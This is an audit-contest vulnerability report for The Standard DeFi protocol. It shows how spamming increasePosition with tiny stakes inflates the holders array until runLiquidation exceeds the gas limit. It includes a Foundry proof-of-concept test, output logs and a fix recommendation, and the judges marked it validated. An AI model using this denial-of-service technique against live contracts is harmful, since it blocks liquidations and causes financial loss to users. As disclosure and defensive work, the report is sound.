The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

DoS in `runLiquidation` Function Prevent liquidation Process

Summary

The runLiquidation function is at risk of a DoS attack due to the potential for the holders array to become excessively large, which can cause the distributeAssets function to consume too much gas and fail. This vulnerability can be exploited by repeatedly calling increasePosition with small amount to stake, leading to a halt in liquidations and significant financial damage to the protocol.

Vulnerability Details

  • The runLiquidation() function within the LiquidationPoolManager contract is tasked with the liquidation of a smartVault and distribution of assets got from the liquidated smartVault to stakers and protocol, proportional to their TST or EURO token staked in the pool. It achieves this by calling distributeAssets() function in liquidationPool which iterating over the assets for each holder in the holders arrays to calculate and allocate the rewards to each staker accordingly.

function runLiquidation(uint256 _tokenId) external {
ISmartVaultManager manager = ISmartVaultManager(smartVaultManager);
manager.liquidateVault(_tokenId); // this will return the Euros to this
distributeFees();// distribute the fees to all holders and pending stakers in the liquidation pool .
ITokenManager.Token[] memory tokens = ITokenManager(manager.tokenManager()).getAcceptedTokens();
ILiquidationPoolManager.Asset[] memory assets = new ILiquidationPoolManager.Asset[](tokens.length);
uint256 ethBalance;
>> for (uint256 i = 0; i < tokens.length; i++) {
ITokenManager.Token memory token = tokens[i];
if (token.addr == address(0)) {
ethBalance = address(this).balance;
if (ethBalance > 0) assets[i] = ILiquidationPoolManager.Asset(token, ethBalance);
} else {
IERC20 ierc20 = IERC20(token.addr);
uint256 erc20balance = ierc20.balanceOf(address(this));
if (erc20balance > 0) {
assets[i] = ILiquidationPoolManager.Asset(token, erc20balance);
ierc20.approve(pool, erc20balance);
}
}
}
>> LiquidationPool(pool).distributeAssets{value: ethBalance}(
assets, manager.collateralRate(), manager.HUNDRED_PC()
);
forwardRemainingRewards(tokens);
}
  • The runLiquidation function within the manager contract is susceptible to a Denial of Service (DoS) attack due to the computational intensity of the distributeAssets function from the LiquidationPool contract that it invokes.

function distributeAssets(
ILiquidationPoolManager.Asset[] memory _assets,
uint256 _collateralRate,
uint256 _hundredPC
) external payable {
consolidatePendingStakes();
//@audit-ok no proper check for chainlink return data , see bellow also , espectialy for multiple assets
(, int256 priceEurUsd,,,) = Chainlink.AggregatorV3Interface(eurUsd).latestRoundData();
>> uint256 stakeTotal = getStakeTotal();//loop1
uint256 burnEuros;
uint256 nativePurchased;
>> for (uint256 j = 0; j < holders.length; j++) {//loop2
Position memory _position = positions[holders[j]];
uint256 _positionStake = stake(_position);
if (_positionStake > 0) {
for (uint256 i = 0; i < _assets.length; i++) {//loop3
// some code .....
}
positions[holders[j]] = _position;
}
if (burnEuros > 0) IEUROs(EUROs).burn(address(this), burnEuros);
returnUnpurchasedNative(_assets, nativePurchased);//loop4
}
  • An attacker can inflate the holders array by calling increasePosition() with small stake values, exploiting the function's logic to add new, This can lead to an oversized holders array, causing distributeAssets to fail due to excessive gas consumption when invoked by runLiquidation.

function increasePosition(uint256 _tstVal, uint256 _eurosVal) external {
require(_tstVal > 0 || _eurosVal > 0);
consolidatePendingStakes();
ILiquidationPoolManager(manager).distributeFees();
if (_tstVal > 0) IERC20(TST).safeTransferFrom(msg.sender, address(this), _tstVal);
if (_eurosVal > 0) IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _eurosVal);
pendingStakes.push(PendingStake(msg.sender, block.timestamp, _tstVal, _eurosVal));
>> addUniqueHolder(msg.sender);
}
  • such an attack will halt the liquidation system, resulting in financial losses and damaging the protocol significantly.

Poc

  • here a poc that shows only with 1000 holder how many gas that can be consumed :

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.17;
import "forge-std/console.sol";
import "forge-std/Test.sol";
import "../../contracts/utils/SmartVaultDeployerV3.sol";
import "../../contracts/SmartVaultManagerV5.sol";
import "../../contracts/utils/EUROsMock.sol";
import "../../contracts/utils/SmartVaultIndex.sol";
import "../../contracts/LiquidationPoolManager.sol";
import "../../contracts/LiquidationPool.sol";
import "../../contracts/SmartVaultV3.sol";
import "../../contracts/utils/ERC20Mock.sol";
import "../../contracts/utils/TokenManagerMock.sol";
import "../../contracts/utils/ChainlinkMock.sol";
contract setup is Test {
ChainlinkMock clmock;
ChainlinkMock clmock1;
TokenManagerMock tokenmanager;
SmartVaultDeployerV3 deployer;
SmartVaultManagerV5 manager;
SmartVaultIndex vaultIndex;
EUROsMock euro;
LiquidationPoolManager poolmanager;
LiquidationPool pool;
ERC20Mock tst;
ChainlinkMock clmock2;
ERC20Mock token;
address bob = makeAddr("bob");
address alice = makeAddr("alice");
//////////////////////// standard function //////////////////////////////////
function onERC721Received(address ,address ,uint ,bytes memory ) public pure returns (bytes4 retval){
return this.onERC721Received.selector;
}
receive() external payable {}
function setUp() public virtual {
skip(3 days);
// deploy chain link mock :
clmock = new ChainlinkMock("native price feed");
clmock.setPrice(160000000000);
clmock1 = new ChainlinkMock("euro price feed");
clmock1.setPrice(150000000);
// deploy the token manager :
tokenmanager = new TokenManagerMock(bytes32("native"),address (clmock));
clmock2 = new ChainlinkMock("random token price feed");
token = new ERC20Mock("token","tk",18);
token.mint(bob,10000 ether);
clmock2.setPrice(100000000);
tokenmanager.addAcceptedToken(address(token),address(clmock2));
// deploy smartVault manager :
manager = new SmartVaultManagerV5();
// deploy smart index and set the setVaultManager(manager)
vaultIndex = new SmartVaultIndex();
vaultIndex.setVaultManager(address(manager));
// deploy euro mock :
euro = new EUROsMock();
// deploy tst :
tst = new ERC20Mock("test tst","tst", 18);
// deploy smart vault deployer : and set the constaructor to (bytes32(native), address(this))
deployer = new SmartVaultDeployerV3(bytes32("native"),address(clmock1));
// deploy the liquidation pool :
// deploy the pool manager :
manager.initialize(vaultIndex,address(euro),address(tokenmanager));
poolmanager = new LiquidationPoolManager(address(tst),address(euro),address(manager),address(clmock1), payable (address(this)),50000);
pool = LiquidationPool(poolmanager.pool());
// set the euro and index and deployer to the smart vault manager
manager.setSmartVaultDeployer(address(deployer));
euro.grantRole(euro.DEFAULT_ADMIN_ROLE(),address(manager));
manager.setLiquidatorAddress(address(poolmanager));
manager.setMintFeeRate(10000);
manager.setBurnFeeRate(5000);
manager.setSwapFeeRate(5000);
manager.setProtocolAddress(address(poolmanager));
vm.deal(address(this), 20 ether);
}
//////////////////////////////////////////////////////////////////////////////
/////////////////////////////////// liquidation poc ///////////////////////////
function test_runLiquidation() public {
// create a smart vault ;
(address vault,uint tokenId) = manager.mint();
// add collateral and mint euro ;
(bool ok,) = vault.call{value: 2 ether}("");
require(ok);
SmartVaultV3(payable (vault)).mint(bob, 1600 ether);
// make the price of collateral less to trigger undercollatirlization ;
clmock.setPrice(1600000000);
// create a huge number of holders then skip two day (so the holders will);
for (uint i;i< 1000;i++) {
address to = address(uint160(uint(keccak256(abi.encode(i)))));
tst.mint(to,i * 1 ether + 1);
vm.startPrank(to);
tst.approve(address(pool), tst.balanceOf(to));
pool.increasePosition(tst.balanceOf(to),0);
vm.stopPrank();
}
skip(3 days);
// catch the gas before :
uint gasBefore = gasleft();
poolmanager.runLiquidation(tokenId);
uint gasConsumed = gasBefore - gasleft();
console.log("gas used for runing liquidation with one token and 1000 holders is :",gasConsumed);
console.log("number of holders ",pool.len());
// try to run liquidation :
}
  • console after runing test :

Running 1 test for test/foundry_tests/setup.t.sol:setup
[PASS] test_runLiquidation() (gas: 1798591326)
Logs:
gas used for runing liquidation with one token and 1000 holders is : 943865157
number of holders 1000
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.99s
  • notice that in this case the gas consumed is 93m , which too much ,and exceed the block gas limit for mainnet (for l2 the gas will be calculated differently ,however this can be targeted to make it exceed the block limit of any evm compatible due to large resource consuming )

impact :

  • Legitimate stakers are unable to receive their fees, undermining the staking pool's incentive structure.

  • all super vaults will be unliquidatable , since the runLiquidation function will always run out of gas.

Tools Used

vs code

Recommendations

  • I would recommend to enable liquidation for smartVaults separately from Distributing assets to stakers of the in the liquidation pool.

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-dos

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-high

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.